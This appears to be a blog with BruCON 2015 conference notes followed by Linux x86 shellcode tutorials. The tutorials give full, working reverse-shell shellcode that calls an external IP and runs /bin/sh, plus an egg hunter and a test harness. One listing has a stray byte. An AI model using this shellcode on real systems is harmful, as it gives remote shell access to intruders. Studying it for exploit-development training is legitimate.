(My) BruCON 2015 notes (3)

Here are my quick notes from the BruCON 2015 conference. All the slides can be found here.

Intrusion detection on Linux and OSX with osquery

osquery goals:

  • explore your operation system using sqlbruCon
  • host visibility is motivated by intrusion detection
  • wanted 1 binary; 6MB with no dependencies
  • done in C++
  • created and used by facebook (installed on 60 000 osx)

Same osquery query examples:

  • select pid, name, uid from processes where [constraints]
  • the sql syntax is the SQL lite  syntax.
  • no Windows version; linux and osx only.
  • a lot of cool examples: the list of events that happened on the host (files changed, usb sticks inserted).

A second binary that is presented is called osqueryd. osqueryd is a daemon; it uses a json-config config file to set options and define a schedule. The goal of osqueryd is to execute queries peridically and then send the result to an ELK (ElasticSearch+LogStash+Kibana) system.

The queries used by Facebook are packaged in different files; these packages can be also downloaded free of charge.

Kernel Tales: Security Testing of aarch64 Android Kernels

A kernel contains code from various sources; hardware manufacturers, software companies (google, samsung).
An Android kernel is almost a Linux kerner, so the attack surface is through syscalls;
The way to corrupt the kernel: the user space tries to write in the kernel space by using syscalls or even better use the ioctls to replace the syscall.

The overall idea is to fuzzy the parameters passed to ioctls. The fuzzer used (dronity) is based on the trinity fuzzer; dronity is not yet available (it will be soon on github).

The demo contained the following items:

  • dronity fuzzing a Android development board.
  • dronity fuzzing a real Android tablet.
  • dronity fuzzing an aarch64 kernel on qemu.
  • dronity fuzzing an aarch64 kernel with gdb attached (on qemu) in order to intercept the exception thrown by the kernel.

(My) BruCON 2015 notes (2)

Here are my quick notes from the BruCON 2015 conference.All the slides can be found here.

cve-search a free software to collect search and analyze common vulnerabilities and exposures in software

Some of the goals of the tool: bruCon

  • do vulnerability search on off-line local search.
  • fast lookup of vulnerabilities on different criteria.
  • allow localized classification of vulnerabilities; localization geographically or from the business perspective.
  •  build new tools based on local database of software and hardware vulnerabilities.

Some of the components/features of the tool:

  • db_updater.py
    • the goal of the script is to fetch vulnerabilities from different data-sources.
    • the data sources used are: NIST NVD, D2SEC, Microsoft Bulletin, vFeed.
    • the scrript can be extended to easily fetch other sources.
  • MongoDB
    • is the DB used to store the info.
  • search.py
    • used to search for vulnerabilities in the DB.
  • web interface
    • you can see, search
    • color scheme for vulnerabilities
  • you can use your own tagging system to weight the critical software/vendors in your constituency.
  • you can use statistics using external tools/languages like R
ex: searh.py -p oracle.....| jq -r '.cvss' | Rscript .........

Problems that face the application:

  • some vendors do not publish vulnerabilities information in a parsable way.
  • some vendors do not support the CPE naming convention.

Software using cve-search:

  • CVE-Portal
  • CVE-Scan
  • NorthernSec Vulnerability-Management (still under development)

Roadmap and future:

  • add vulnerabilities data sources from software and hardware vendors
  • expand cve-search to include vulnerabilities whitout CVE assignment.

(My) BruCON 2015 notes (1)

Here are my quick notes from the BruCON 2015 conference.All the slides can be found here.

Nightmares of a Pentester bruCon

The goal is to present some (basic) that the operational security teams (a.k.a Blue Team) can use in order to make the life harder to the pen-testers.

Some numbers about the security breaches :

  • Verizon report: Quantify the impact of a data breach with new data from the 2015 DBIR
  • top 3 industries that are under attack: public sector, it sector, financial services
  • 70% of the attacks are targeting a second victim; so the first victim is a step stone to reach the target
  • 90% off the incidents have as root cause the peoples (the weakest link).

Good security programs are built in and not bolt on.

External defenses tips and tricks:

Don’t talk to strangers:

  • implement blocks from all the emerging cyber-threats lists.
  • reject specific user agent strings.
  • ban the port scanning.

If you are going to talk be sure to know who is it

  • disable smtp/verify/validation.
  • analyze the certificates and (external) domain age.
  • use SPF for the email validation
  • use DNS analysis
  • don’t forward DNS

Internal defenses tips and tricks:

Your internal network is an hostile environment; treat it as such

  • monitor inside more than outside.
  • segmentation of all servers from users.
  • never use VPN pools; always tie a user to a specific IP address.
  • remove your network default route.
  • intercept all http/s requests.

Users have the ability to use the company resources

  • white-list the approved and managed software.
  • disallow local admin privileges.
  • users should only be allowed to go to categorized sites; any other traffic must be denied.
  • host based firewals, ids and behavioral analysis.
  • scans all hosts for vulnerabilities on a regular basis.
  • randomize all the local admin passwords.

Servers have specific purposes

  • do not install workstation software.
  • manage updates centrally.
  • segment the servers.
  • standards images should have no additional services installed.
  • do not allow the use of local account to log in remotely.

How to write a (Linux x86) egg hunter shellcode

Goal

The goal of this ticket is to write an egg hunter shellcode. An egg hunter is a piece of code that when is executed is looking for another piece of code (usually bigger) called the egg and it passes the execution to the egg. This technique is usually used when the space of executing shellcode is limited (the available space is less than the egg size) and it is possible to inject the egg in another memory location. Because the egg is injected in a non static memory location the egg must start with an egg tag in order to be recognized by the egg hunter.

1. How to test the shellcode

Maybe it will look odd but I will start by presenting the program that it will be used to test the egg hunter. The test program is a modified version of the shelcode.c used in the previous tickets.

#include<stdio.h>
#include<string.h>

#define EGG_TAG "hex version of egg_tag; to be added later"
unsigned char egg_hunter[]= "hex version of egg_hunter; to be added later";
unsigned char egg[] = EGG_TAG EGG_TAG "hex version of egg; to be added later";
main()
{
    int (*ret)() = (int(*)())egg_hunter;
    ret();
}

We start by defining the egg tag, the egg hunter and the egg; the egg is prefixed twice with the egg tag in order to be recognized by the egg hunter. The main program it will just pass the execution to the egg hunter that will search for the egg (which is somewhere in the memory space of the program) and then it will pass the execution to the egg. 

Usually the egg tag is eight bytes and the reason the egg tag repeats itself is because it allows the egg hunter to be more optimized for size so it can search for a single tag that has the same four byte values, one right after the other. This eight byte version of the egg tag tends to allow for enough uniqueness that it can be easily selected without running any high risk of a collision.

2 Implementation

2.1 Define the egg tag

Defining the egg tag is quite easy;  finally it’s up to you to choose a rather unique word. In our case the egg tag is egg1. In order to be used by the egg hunter the tag must be transformed in HEX. I just crafted a small script: fromStringToAscii.sh that will transform the input from char to ASCII equivalent and then to HEX value. So in our case the egg tag value will be 0x31676765.

2.2 Implement the egg hunter

What the egg hunter implementation should do, is firstly find the addressable space allocated to the host process( the process in which the egg hunter is embedded) then, search inside this addressable space for the egg and finally pass the execution to the egg.

On Linux this behavior can be achieved using the access (2) system call. The egg hunter will call systematically access system call in order to find the memory pages that the host process have access and once one accessible page is found, then it looks for the egg. Here is the implementation code:

global _start
section .text
_start:
 xor edx,edx
next_page:
 or dx,0xfff
next_adress:
 ;fill edx with 0x1000=4096 
 ;which represents PAGE_SIZE
 inc edx
 ;load the page memory address to ebx
 lea ebx,[edx+0x4]
 ;0x21=33 access system call number
 push byte +0x21
 pop eax
 int 0x80

 ;compare the result with EFAULT
 cmp al,0xf2
 jz next_page 
 mov eax,0x31676765; this is the egg marker: egg1 in hex
 mov edi,edx
 ;search for the first occurrence of the egg tag
 scasd
 jnz next_adress
 ;search for the second occurrence of the egg tag 
 scasd
 jnz next_adress
 ;execute the egg 
 jmp edi

A much detailed explanation of how this egg hunter work can be found in the Safely Searching Process Virtual Address Space.

3.Putting all together

Now, we have all the missing pieces so we could try to put them together. As egg I used a the reverse connection shellcode from the How to write a reverse connection shellcode. The final result it is something like:

#include<stdio.h>
#include<string.h>

#define PORT_NUMBER "\x6a\xff" // 0xffff
#define IP_ADDRESS "\x0c\x12\x01\x17"
#define EGG_TAG "\x65\x67\x67\x31"

unsigned char egg_hunter[]=
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\
xcd\x80\x3c\xf2\x74\xee\xb8"
EGG_TAG
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char egg[] = 
EGG_TAG
EGG_TAG
"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80\x89\xc6\xe8\x01
\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x68"
IP_ADDRESS
"\x66"
PORT_NUMBER
"\x66\x6a\x02\x89\xe1\xb3\x03\x6a\x10\x51\x56\x89\xe1\xcd\x80\xe8\x01\x00\x00\x00
\xc3\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89
\xf3\x41\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00
\x00\xc3\x31\xc0\x31\xdb\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x78\xff\xff\xff";
main()

{
 printf("EggHunter Length: %d\n", strlen(egg_hunter));
 printf("Shellcode Length: %d\n", strlen(egg));
 int (*ret)() = (int(*)())egg_hunter;
 ret();
}

All the source codes explained presented in this ticket can be found here: gitHub.

Bibliography

How to write a (Linux x86) reverse connection shellcode

Goal

The goal of this ticket is to write a shellcode that makes a connection from the hacked system to a different system where it can be cached by different network tools like net cat

In order to complete this task I will try to follow the workflow that I presented in my previous tickets concerning shellcode writing  (Introduction to Linux shellcode writing, part 1 and part 2)  meaning that i will first write a C version, then I will try to translate the C version in assembler trying to avoid the common shellcode writing pitfalls like null bytes problem and the addressing problem.

This shellcode will also share most of his code with the shellcode from How to write a port-biding shellcode because it have a lot of functionalities and code in common.

 1. The C version of the shellcode

The following listing represents a minimal version (no error checking is done) of a reverse connection program. Basically the program is doing the following actions:

  • create a socket
  • initialize a connection on socket to a specific address and port
  • redirect the stdin, stdout and stderr to the socket
  • execute “bin/sh”
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>

int main( int argc, char *argv[] ) {
 int serverSocketFileDescriptor;
 int clientSocketFileDescriptor; 
 int clilen;
 struct sockaddr_in serv_addr;
 struct sockaddr_in cli_addr;
 
 
 /* First call to socket() function */
 serverSocketFileDescriptor = socket(AF_INET, SOCK_STREAM, 0);
 
 /* Initialize socket structure */
 bzero((char *) &serv_addr, sizeof(serv_addr));
 
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_addr.s_addr = 0x100007f;
 serv_addr.sin_port = htons(65535);
 
 
 /* Initialize a connection on a socket.*/
 clientSocketFileDescriptor = 
    connect(serverSocketFileDescriptor, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
 

 /*Redirect to the new socket the sdtin,stdout,stderr*/
 dup2(serverSocketFileDescriptor, 0);
 dup2(serverSocketFileDescriptor, 1);
 dup2(serverSocketFileDescriptor, 2);

 /*execute /bin/sh */ 
 execve("/bin/sh", NULL, NULL);

 /* Close the sockets*/
 close(clientSocketFileDescriptor);
 close(serverSocketFileDescriptor);
}

2. The assembler version of the shellcode

2.1 Find the system call numbers of the functions used in the C version

The first step in order to write the assembler version is to find the system calls number for each of the calls used in the C version.

For all the socket operations there is only one system call, the number 102:

cat  /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socketcall 102

The sub calls numbers can be found in the file /usr/include/linux/net.h :

#define SYS_SOCKET    1        /* sys_socket(2)        */
#define SYS_BIND    2          /* sys_bind(2)            */
#define SYS_CONNECT    3        /* sys_connect(2)        */
#define SYS_LISTEN    4        /* sys_listen(2)        */
#define SYS_ACCEPT    5        /* sys_accept(2)        */

For all the others calls (dup2, execve and close) the system call numbers are:

#define __NR_dup2 63
#define __NR_execve 11
#define __NR_close 6

The second step is to take a look to the man pages of each of the functions used to check the needed parameters for each of the functions.

2.2 Implement the assembler version for each of the functions from the C program

Once we have all the necessary informations for the functions used in the C version (the system call numbers and the parameters) the next step is to write the assembler version of the C program.

The assembler version of the shellcode is strongly inspired from the shellcode of How to write a port-biding shellcode, I just removed the functions that were not needed for the actual shell and added one missing function (the ConnectSocket function).

So, the working implementation have the following structure:

_start:
    call OpenSocket
        ...
        call ConnectSocket 
            ...        
            call Dup2OutInErr
                ...
                call ExecuteBinSh
                    ...
                ret    
            ret
        ret    
    ret

The assembler implementation of the reverse-connection shellcode is the following one:

; Filename: SocketClient.nasm
; Author: [email protected]
; Website: itblog.adrian.citu.name

global _start
 
section .text

OpenSocket:
 
 ;syscall socketcall 
 xor eax,eax
 xor ebx, ebx
 mov al, 102 
 
 ; build the argument array on the stack
 push ebx ;protocol = 0
 push 1 ; type = SOCK_STREAM (1)
 push 2 ;domain = PF_INET (2)
 mov ecx, esp ;pointer to argument array
 
 mov bl, 01 ;1 = SYS_SOCKET = socket()
 int 0x80
 
 mov esi, eax
 
 call ConnectSocket
 ret
 
ConnectSocket:
 ; syscall socketcall
 xor eax, eax
 xor ebx, ebx 
 mov al, 102 
 
 ;build sockaddr struct on the stack
 push dword 0x1701120c;ADDRESS =12.18.1.23
 push word 0xffff ; PORT = 65535
 push word 2 ; AF_INET = 2
 mov ecx, esp ; pointer to sockaddr struct
 
 mov bl, 3 ;3 = SYS_CONNECT = connect()
 
 push BYTE 16 ;sizeof(sockaddr struct) = 16 taken from the
 ;systrace SocketClient Cpp version
 
 push ecx ;sockaddr struct pointer
 push esi ;socket file descriptor
 mov ecx, esp ;pointer to argument array
 int 0x80 
 
 call Dup2OutInErr
 ret 
 
Dup2OutInErr:
 xor eax, eax
 xor ebx, ebx 
 
 ;syscall dup2
 mov al, 63 
 mov ebx, esi
 xor ecx, ecx ;duplicate stdin
 int 0x80 
 
 xor eax, eax
 xor ebx, ebx
 mov al, 63 ;syscall dup2
 mov ebx, esi
 inc ecx ;duplicate stdout, ebx still holds the socket fd
 int 0x80 
 
 xor eax, eax
 xor ebx, ebx
 mov al, 63 ;syscall dup2
 mov ebx, esi
 inc ecx
 inc ecx ;duplicate stdout, ebx still holds the socket fd
 int 0x80 
 
 call ExecuteBinSh
 ret

ExecuteBinSh:
 xor eax, eax
 xor ebx, ebx
 xor ecx, ecx
 
 push eax ;null bytes
 push 0x68732f2f ;//sh
 push 0x6e69622f ;/bin
 mov ebx, esp ;load address of /bin/sh
 
 push eax ;set argument to 0x0
 mov ecx, esp ;save the pointer to argument envp
 
 push eax ;set argument to 0x0
 mov edx, esp ;save the pointer to argument ptr
 
 mov al, 11 ;syscall execve
 int 0x80
 ret

_start:
 call OpenSocket
    

3. Test the shellcode

To test the shelcode we will follow the procedure described in Introduction to Linux shellcode writing – Test your shellcode but basically we retrieve the HEX version of the shellcode (using the commandlinefu.com command) from the binary and then we added to shellcode.c program.

The HEX version of the shellcode is the following one:

"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80
\x89\xc6\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x68\x0c\x12
\x01\x17\x66\x6a\xff\x66\x6a\x02\x89\xe1\xb3\x03\x6a\x10\x51\x56\x89
\xe1\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x3f\x89\xf3
\x31\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\xcd\x80\x31\xc0
\x31\xdb\xb0\x3f\x89\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31
\xc0\x31\xdb\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x78\xff\xff\xff"

3.1 Make the external IP address and port number as a parameter

In the actual code the external IP address and the port number are static (it’s the same for every execution). We would like to make these 2 things parametrisable . First we must find the HEX value of the instructions representing the IP address and the port number. Using the objdump with the following parameters:

objdump -d SocketClient -M intel | grep push

and we will find:

 804807f:    68 0c 12 01 17           push   0x1701120c
 8048084:    66 6a ff                 pushw  0xffff

So, in our binary representation of the shellcode we could make two constants representing the IP address and the port number:

#include<stdio.h>
#include<string.h>

#define PORT_NUMBER "\xff" // 0xffff
#define IP_ADDRESS "\x0c\x12\x01\x17"
unsigned char code[] = 
"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80"
"\x89\xc6\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x68\x6a"
IP_ADDRESS
"\x66"
PORT_NUMBER
"\x66\x6a\x02\x89\xe1\xb3\x03\x6a\x10\x51\x56\x89\xe1\xcd\x80\xe8\x01"
"\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31"
"\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89"
"\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\x31\xc9"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe1\x50"
"\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x78\xff\xff\xff";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}

Last point about these two parameters(IP address and port number); these parameters are pushed on the stack in HEX version and due to the Little Endian  architecture of the Intel processors the parameters should be pushed in reverse order. For example if you want to push decimal 12345 (0x3039), you should push 54321 (0x3930).

In order to compute these two parameters in a correct way, I crafted 2 small bash scripts: fromIpToBigEndianHex.sh and fromPortNumberToBigEndianHex.sh

All the source codes explained presented in this ticket can be found here: gitHub.

Bibliography